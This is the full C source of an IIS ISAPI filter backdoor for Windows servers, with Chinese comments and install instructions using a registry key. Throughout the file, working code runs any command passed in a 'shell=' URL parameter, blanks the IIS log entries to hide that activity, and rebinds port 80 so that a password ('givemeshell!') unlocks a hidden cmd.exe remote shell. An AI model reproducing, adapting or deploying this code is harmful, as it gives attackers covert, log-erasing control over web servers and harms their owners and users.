//**********************************************************************
//
// Win32 ISAPI/Filter BackDoor V0.10.
// By Lion, http://www.cnhonker.com
//
// 使用方法:
// 1. 通过注册表键
//
// [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/W3SVC/Parameters]
// "Filter DLLs"="c://winnt//system//inetsrv//filter.dll"
//
// 重启IIS服务
//
// 2. 通过 Internet管理器 -> ISAPI筛选器 添加
//
//**********************************************************************
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <httpfilt.h>
#include <EXCPT.H>
#include <WTYPES.H>
//#include <winsock2.h>
#pragma comment (lib,"Ws2_32.lib")
#define PORT 80
#define PASS "givemeshell!"
#define LOGFILE "c://log.txt"
#define BUFFER_SIZE 200
#define TIMEOUT 10
#define PROMPT "# "
// 会话数据类型定义
typedef struct
{
// Session 建立时创建
HANDLE ReadPipeHandle; // stdout 输出管道
HANDLE WritePipeHandle; // stdin 输入管道
HANDLE ProcessHandle; // Shell 进程句柄
// 当有连接进来时创建
SOCKET ClientSocket; // 客户端Socket
HANDLE ReadShellThreadHandle; // 读取数据线程
HANDLE WriteShellThreadHandle; // 写数据线程序
} SESSION_DATA, *PSESSION_DATA;
DWORD WINAPI ClientThread(LPVOID lp);
DWORD WINAPI ReBindShell(LPVOID);
DWORD WINAPI LogToFile(char *buf);
DWORD WINAPI BindShell(LPVOID);
VOID GetShell();
VOID SlowSend(char* sendbuf, int iTime);
// 全局变量
BOOL bLog =true;
char host[32];
int port=PORT;
HANDLE hReBind,TempExeHandle;
DWORD dThreadId;
SOCKET s, ClientSock;
char *messages = "============================= HFilter BackDoor V0.10 =========================="/
"/r/n=============== Code by Lion. Welcome to http://www.cnhonker.com ==============/r/n";
// DLL Main
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
{
break;
}
//case DLL_THREAD_ATTACH:
//case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
{
break;
}
}
return TRUE;
}
// GetFilterVersion - IIS 加载Filter时要调用的函数.
BOOL WINAPI GetFilterVersion(HTTP_FILTER_VERSION * pVer)
{
// 设置Filter的标志, 它决定能收到的处理信号
pVer->dwFlags = (
SF_NOTIFY_SECURE_PORT |
SF_NOTIFY_NONSECURE_PORT |
// SF_NOTIFY_SEND_RESPONSE |
// SF_NOTIFY_END_OF_NET_SESSION |
// SF_NOTIFY_READ_RAW_DATA |
// SF_NOTIFY_SEND_RAW_DATA |
SF_NOTIFY_LOG|
SF_NOTIFY_ORDER_HIGH);
pVer->dwFilterVersion = HTTP_FILTER_REVISION;
strcpy( pVer->lpszFilterDesc, "HUC Filter V1.0" );
return TRUE;
}
// HttpFilterProc - IIS 加载Filter时要调用的函数.
// Filter 主函数
DWORD WINAPI HttpFilterProc(HTTP_FILTER_CONTEXT *pfc,
DWORD NotificationType,
VOID * pvNotification)
{
// OutputDebugString("Entered HttpFilterProc/n");
switch (NotificationType)
{
case SF_NOTIFY_LOG:
{
PHTTP_FILTER_LOG pLogData;
char Buff[4096];
TCHAR sz[2560];
ULONG i;
pLogData = (PHTTP_FILTER_LOG)pvNotification;
sprintf(sz, "Client: %s , Server: %s/r/n",
pLogData->pszClientHostName,
pLogData->pszServerName);
// 判断是否是我们的后门参数
// 表现为 http://host.ip/any.asp?shell=xxxxxx
i=4096;
memset(Buff,0, i);
pfc->GetServerVariable(pfc, "QUERY_STRING", Buff, &i);
if(strstr(Buff, "shell="))
{
LogToFile(sz);
LogToFile(Buff);
LogToFile("/r/n/n");
char *p;
p=strstr(Buff, "shell=")+6;
// 判断我们的命令处理参数
if(stricmp(p, "rebindshell")==0)
{
if(hReBind)
{
LogToFile("ReBindShell error./r/n");
}
else
{
hReBind = CreateThread(NULL,0, ReBindShell,(LPVOID)NULL,0, &dThreadId);
if(hReBind==NULL)
{
LogToFile("ReBindShell Thread Creat Failed!/r/n/n");
}
else
{
LogToFile("ReBindShell Thread Creat Sussess!/r/n/n");
}
}
}
else if(stricmp(p, "stopbind")==0)
{
if(hReBind)
TerminateThread(hReBind, 0);
if(hReBind)
CloseHandle(hReBind);
if(ClientSock)
closesocket(ClientSock);
if(s)
closesocket(s);
hReBind = NULL;
LogToFile("Closed Re BindShell./r/n");
}
else
{
LogToFile("System : ");
LogToFile(p);
system(p);
}
// 清除IIS日志
*(char *)pLogData->pszClientUserName = NULL;
*(char *)pLogData->pszClientUserName = NULL;
*(char *)pLogData->pszServerName = NULL;
*(char *)pLogData->pszOperation = NULL;
*(char *)pLogData->pszTarget = NULL;
*(char *)pLogData->pszParameters = NULL;
*(char *)pLogData->dwHttpStatus = NULL;
*(char *)pLogData->dwWin32Status = NULL;
*(char *)pLogData->dwBytesSent = NULL;;
*(char *)pLogData->dwBytesRecvd = NULL;
*(char *)pLogData->msTimeForProcessing = NULL;
// return SF_STATUS_REQ_FINISHED;
}
else
{
LogToFile("Get Other: ");
LogToFile((char *)pLogData->pszTarget);
LogToFile("/r/n/n");
}
}
break;
default:
break;
}
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
BOOL WINAPI TerminateFilter( DWORD dwFlags )
{
return true;
}
// 重绑定端口并执行shell
DWORD WINAPI ReBindShell(LPVOID)
{
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int caddsize;
SOCKET sc;
WSADATA wsaData;
WORD wVersionRequested;
wVersionRequested = MAKEWORD( 2, 2 );
if(WSAStartup( wVersionRequested, &wsaData ) != 0)
{
LogToFile("Start Socket error!/r/n");
return -1;
}
saddr.sin_family = AF_INET;
struct hostent * hp;
unsigned char LocalName[256];
// 取得本地IP地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp = gethostbyname((char*)LocalName)) == NULL)
{
LogToFile("Get local IP -Gethostbyname failed!/r/n");
return -1;
}
// 应该指定具体的IP,留下127.0.0.1给正常的服务应用
// 然后利用这个地址进行转发,就可以不影响对方正常应用了
// Socket Init.
memset(&saddr,0,sizeof(saddr));
memcpy(&saddr.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length); // TCP Sniffer
saddr.sin_port = htons(port);
saddr.sin_family = AF_INET;
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
LogToFile("error!socket failed!/n");
return -1;
}
val = TRUE;
// 设置SO_REUSEADDR 实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
LogToFile("error!setsockopt failed!/n");
return -1;
}
// 如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
LogToFile("error!bind failed!/n");
return -1;
}
listen(s,2);
while(1)
{
HANDLE mt;
caddsize = sizeof(scaddr);
//接受连接请求
sc = accept(s,(struct sockaddr *)&scaddr, &caddsize);
if(sc!=INVALID_SOCKET)
{
DWORD tid;
// 创建一个线程处理客户端的连接
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
LogToFile("Thread Creat Failed!/n");
break;
}
LogToFile("Get a Connect!/r/n");
}
CloseHandle(mt);
}
closesocket(s);
return 0;
}
DWORD WINAPI ClientThread(LPVOID lp)
{
SOCKET ss = (SOCKET)lp;
SOCKET sc;
char buf[4096], sendbuf[1024];
SOCKADDR_IN saddr;
long num;
DWORD val;
int times = 0;
// 如果是隐藏端口应用的话,可以在此处加一些判断
// 如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(port);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
LogToFile("error!socket failed!/n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
return -1;
}
val = TIMEOUT*1000;
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
LogToFile("error!socket connect failed!/n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
// 下面的代码主要是实现通过127.0.0.1这个地址把包转发到真正的应用上,
// 并把应答的包再转发回去。
num = recv(ss, buf, 1024,0);
if(num>0)
{
times ++;
if(times == 1 && strstr(buf, PASS) && num>0)
{
sprintf(sendbuf, "give me shell!/r/n");
LogToFile(sendbuf);
// send(ss, sendbuf, strlen(sendbuf), 0);
if(sc)
closesocket(sc);
ClientSock = ss;
GetShell();
}
else
{
send(sc,buf,num,0);
}
}
else if(num==0) break;
num = recv(sc,buf,1024,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0) break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
DWORD WINAPI LogToFile(char *buf)
{
if(bLog)
{
FILE *log;
if( (log=fopen(LOGFILE,"a+"))!=NULL )
{
fputs(buf, log);
fclose(log);
return 0;
}
}
return 1;
}
//********************************************************************************
// //
// 创建会话 (From nc.exe) //
// //
// 创建一个新的会话, 包括创建一个cmd shell和两个读写管道进行相互通讯 //
// 成功执行则返回会话句柄,失败则返回NULL. //
//********************************************************************************
PSESSION_DATA CreateSession(char *prog)
{
PSESSION_DATA Session = NULL;
SECURITY_ATTRIBUTES SecurityAttributes; // 创建管道所用
BOOL Result;
HANDLE ShellStdinPipe = NULL;
HANDLE ShellStdoutPipe = NULL;
PROCESS_INFORMATION ProcessInformation; // 创建进程序所用
STARTUPINFO si;
// 为会话类型数据分配内存空间
Session = (PSESSION_DATA) malloc(sizeof(SESSION_DATA));
if(Session == NULL) return(NULL);
// 初始化会话读写管道句柄
Session->ReadPipeHandle = NULL;
Session->WritePipeHandle = NULL;
// 为Shell创建读写管道
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL; // 使用默认ACL
SecurityAttributes.bInheritHandle = TRUE; // 设置继承句柄
// 创建读取管道
Result = CreatePipe(&Session->ReadPipeHandle, &ShellStdoutPipe, &SecurityAttributes, 0);
if(!Result) goto Failure;
// 创建写入管道
Result = CreatePipe(&ShellStdinPipe, &Session->WritePipeHandle, &SecurityAttributes, 0);
if(!Result) goto Failure;
// 创建Shell进程
// 初始化进程启动信息
si.cb = sizeof(STARTUPINFO);
si.lpReserved = NULL;
si.lpTitle = NULL;
si.lpDesktop = NULL;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.wShowWindow = SW_HIDE;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = ShellStdinPipe;
si.hStdOutput = ShellStdoutPipe;
DuplicateHandle(GetCurrentProcess(), ShellStdoutPipe,
GetCurrentProcess(), &si.hStdError,
DUPLICATE_SAME_ACCESS, TRUE, 0);
if(CreateProcess(NULL, prog, NULL, NULL, TRUE, 0, NULL, NULL, &si, &ProcessInformation))
{
Session->ProcessHandle = ProcessInformation.hProcess;
CloseHandle(ProcessInformation.hThread);
}
// 成功创建则关闭句柄
CloseHandle(ShellStdinPipe);
CloseHandle(ShellStdoutPipe);
// 检测Shell进程序是否成功创建
if(Session->ProcessHandle == NULL) goto Failure;
// 把客户端连接socket句柄传递给会话数据
Session->ClientSocket = NULL;
// 成功运行,返回会话数据句柄
return(Session);
Failure:
// 如果创建会话数据失败,则关闭已经创建的句柄,并释放内存
if(ShellStdinPipe != NULL) CloseHandle(ShellStdinPipe);
if(ShellStdoutPipe != NULL) CloseHandle(ShellStdoutPipe);
if(Session->ReadPipeHandle != NULL) CloseHandle(Session->ReadPipeHandle);
if(Session->WritePipeHandle != NULL) CloseHandle(Session->WritePipeHandle);
free(Session);
return(NULL);
}
//********************************************************************************
// //
// 读取会话线程 //
// //
// 从Shell进程里读取数据,并把结果把写回连接的socket //
//********************************************************************************
VOID SessionReadShell(LPVOID Parameter)
{
PSESSION_DATA Session = (PSESSION_DATA)Parameter;
BYTE Buffer[BUFFER_SIZE];
BYTE Buffer2[BUFFER_SIZE+30];
DWORD BytesRead;
// 检测Shell进程的读管道里是否有数据返回
while(PeekNamedPipe(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL, NULL))
{
DWORD BufferCnt, BytesToWrite;
BYTE PrevChar = 0;
// 如果有数据则读取,无则返回
if(BytesRead > 0)
{
ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL);
}
else
{
Sleep(10);
continue;
}
// 替换CR-LF为LF.
for(BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++)
{
if(Buffer[BufferCnt] == '/n' && PrevChar != '/r')
Buffer2[BytesToWrite++] = '/r';
PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt];
}
// 把读取的数据写入客户端连接Socket.
if(send(Session->ClientSocket, (const char*)Buffer2, BytesToWrite, 0) <= 0) break;
}
// if (GetLastError() != ERROR_BROKEN_PIPE)
// printf("SessionReadShellThreadFn exitted, error = %d/r/n", GetLastError());
ExitThread(0);
}
//********************************************************************************
// //
// 会话写进程 //
// //
// 写进程,从连接Socket读取数据, 把数据写入Shell进程 //
//********************************************************************************
VOID SessionWriteShell(LPVOID Parameter)
{
PSESSION_DATA Session = (PSESSION_DATA)Parameter;
BYTE RecvBuffer[1];
BYTE Buffer[BUFFER_SIZE];
BYTE EchoBuffer[5];
DWORD BytesWritten;
DWORD BufferCnt, EchoCnt;
DWORD TossCnt = 0;
BOOL PrevWasFF = FALSE;
BufferCnt = 0;
// 循环从Socket读取数据
while(recv(Session->ClientSocket, (char *)RecvBuffer, sizeof(RecvBuffer), 0) != 0)
{
EchoCnt = 0;
Buffer[BufferCnt++] = EchoBuffer[EchoCnt++] = RecvBuffer[0];
if (RecvBuffer[0] == '/r') Buffer[BufferCnt++] = EchoBuffer[EchoCnt++] = '/n';
// 如果我们接收到一个回车, 则把缓冲区数据写入到Shell进程管道
if (RecvBuffer[0] == '/n' || RecvBuffer[0] == '/r')
// if (RecvBuffer[0] == '/n')
{
if(!WriteFile(Session->WritePipeHandle, Buffer, BufferCnt, &BytesWritten, NULL)) break;
BufferCnt = 0;
}
}
ExitThread(0);
}
//********************************************************************************
// //
// 为客户端连接执行命令 //
// //
//********************************************************************************
BOOL doexec(char *prog)
{
PSESSION_DATA Session = CreateSession(prog);
SECURITY_ATTRIBUTES SecurityAttributes;
DWORD ThreadId;
HANDLE HandleArray[3];
int i;
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL; // 使用默认ACL
SecurityAttributes.bInheritHandle = FALSE; // 设置不继承句柄
// 传递Socket
Session->ClientSocket = ClientSock;
// 创建读写会话线程
Session->ReadShellThreadHandle = CreateThread(&SecurityAttributes, 0,
(LPTHREAD_START_ROUTINE)SessionReadShell,
(LPVOID)Session, 0, &ThreadId);
if(Session->ReadShellThreadHandle == NULL)
{
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 0);
return(FALSE);
}
TempExeHandle = Session->WriteShellThreadHandle = CreateThread(&SecurityAttributes, 0,
(LPTHREAD_START_ROUTINE)SessionWriteShell,
(LPVOID)Session, 0, &ThreadId);
if(Session->WriteShellThreadHandle == NULL)
{
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 0);
return(FALSE);
}
// 等待三个句柄结束
HandleArray[0] = Session->ReadShellThreadHandle;
HandleArray[1] = Session->WriteShellThreadHandle;
HandleArray[2] = Session->ProcessHandle;
i = WaitForMultipleObjects(3, HandleArray, FALSE, 0xffffffff);
switch(i)
{
case WAIT_OBJECT_0 + 0:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 1:
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 2:
Sleep(100);
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateThread(Session->WriteShellThreadHandle, 0);
default:
break;
}
// 关闭Socket, 线程句柄, shell进程和shell读写管道,释放内存
DisconnectNamedPipe(Session->ReadPipeHandle);
CloseHandle(Session->ReadPipeHandle);
DisconnectNamedPipe(Session->WritePipeHandle);
CloseHandle(Session->WritePipeHandle);
CloseHandle(Session->ReadShellThreadHandle);
CloseHandle(Session->WriteShellThreadHandle);
CloseHandle(Session->ProcessHandle);
free(Session);
return(TRUE);
}
// Give me the shell
VOID GetShell()
{
char Buff[4096], Get[10240], sendbuf[1024];
// 写欢迎信息
strcpy(sendbuf,"Welcome and have a good luck! :)/r/n");
SlowSend(sendbuf, 20);
strcpy(sendbuf,"Use /"cmd/" get cmdshell, use /"exit/" to exit!/r/n");
SlowSend(sendbuf, 10);
Sleep(100);
char szTemp[MAX_PATH],szBuff[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szBuff);
DWORD len=sizeof(szTemp);
GetComputerName(szTemp,&len);
wsprintf(sendbuf, "/r/n%s/n<%s@%s>%s", messages, szBuff, strlwr(szTemp), PROMPT);
send(ClientSock, sendbuf, strlen(sendbuf), 0);
memset(Get, 0,sizeof(Get));
while(1)
{
int nByte = recv(ClientSock, Buff, 1024, 0);
if(nByte <= 0)
break;
else
Buff[nByte] = 0;
strcat(Get, Buff);
if(!strstr(Buff, "/x0a"))
{
memset(Buff, 0, sizeof(Buff));
continue;
}
// 退出Shell
if(strnicmp(Get, "exit", 4) == 0)
{
strcpy(sendbuf, "/r/nClosed! And Good bye!/r/n");
send(ClientSock, sendbuf, strlen(sendbuf), 0);
Sleep(100);
if(ClientSock)
closesocket(ClientSock);
return;
}
// 退出进程
else if(strnicmp(Get, "quit", 4) == 0)
{
strcpy(sendbuf, "/r/nQuit! And End ReBindShell now!/r/n");
send(ClientSock, sendbuf, strlen(sendbuf), 0);
Sleep(100);
if(ClientSock)
closesocket(ClientSock);
if(s)
closesocket(s);
if(hReBind)
TerminateThread(hReBind, 0);
if(hReBind)
CloseHandle(hReBind);
hReBind = NULL;
LogToFile("Closed Re BindShell./r/n");
}
// 退出进程
else if(strnicmp(Get, "cmd", 3) == 0)
{
doexec("cmd.exe");
}
else if(strlen(Get) >= 2)
{
// docommand(Get);
}
GetCurrentDirectory(MAX_PATH, szBuff);
sprintf(sendbuf, "/r/n<%s@%s>%s", szBuff, strlwr(szTemp), PROMPT);
send(ClientSock, sendbuf, strlen(sendbuf), 0);
memset(Get, 0, sizeof(Get));
memset(Buff, 0, sizeof(Buff));
strcpy(Get, "");
strcpy(Buff, "");
}
if(ClientSock)
closesocket(ClientSock);
return;
}
//********************************************************************************
// //
// 缓慢显示 //
//********************************************************************************
VOID SlowSend(char* sendbuf, int iTime)
{
UINT i;
char test[2];
send(ClientSock, "/r/n", 2, 0);
Sleep(100);
send(ClientSock, "-", 1, 0);
Sleep(100);
send(ClientSock, ">", 1, 0);
Sleep(100);
send(ClientSock, " ", 1, 0);
Sleep(100);
for(i=0; i < strlen(sendbuf); i++)
{
test[0]=sendbuf[i];
test[1]=0;
send(ClientSock, test, strlen(test), 0);
Sleep(iTime);
}
}
发布者: lion
来源: http://www.cnhonker.com